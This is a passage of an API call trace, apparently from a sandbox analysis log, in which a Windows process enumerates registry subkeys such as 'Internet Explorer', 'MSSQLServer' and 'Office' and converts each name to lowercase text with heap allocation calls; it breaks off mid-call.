[0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x4ab930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x4ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x4ab930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x4ac120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x4ab930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x4ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.826] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x4ab930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0224.826] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x4ac120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0224.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x4ab930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0224.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x4ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0224.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.827] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x4ab930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0224.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.827] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x4ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0224.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x4ab930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x4ac0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0224.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x4ab930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x4ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0224.827] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x4ab930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0224.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x4ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0224.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x4ab930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x4ac120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0224.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x4ab930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x4ac0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0224.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x4ab930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x4ac120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0224.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x4ab930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x4ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0224.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x4ab930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x4ac120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0224.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x4ab930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x4ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0224.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x4ab930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x4ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0224.828] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x4ab930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x4ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0224.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x4ab930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0224.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x4ab930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x4ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0224.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x4ab930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x4ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0224.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x4ab930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x4ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0224.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x4ab930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0224.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x4ab930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x4ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0224.829] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x4ab930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x4ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0224.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x4ab930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x4ac0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0224.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x4ab930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x4ac120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0224.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x4ab930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x4ac0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0224.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x4ab930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x4ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0224.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x4ab930, cchName=0x104 | out: lpName="Network") returned 0x0 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x4ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0224.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x4ab930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x4ac120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0224.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x4ab930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0224.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x4ac0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0224.830] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x4ab930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0224.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x4ab930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x4ac0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0224.831] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x4ab930, cchName=0x104 | out: lpName="Office") returned 0x0 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, 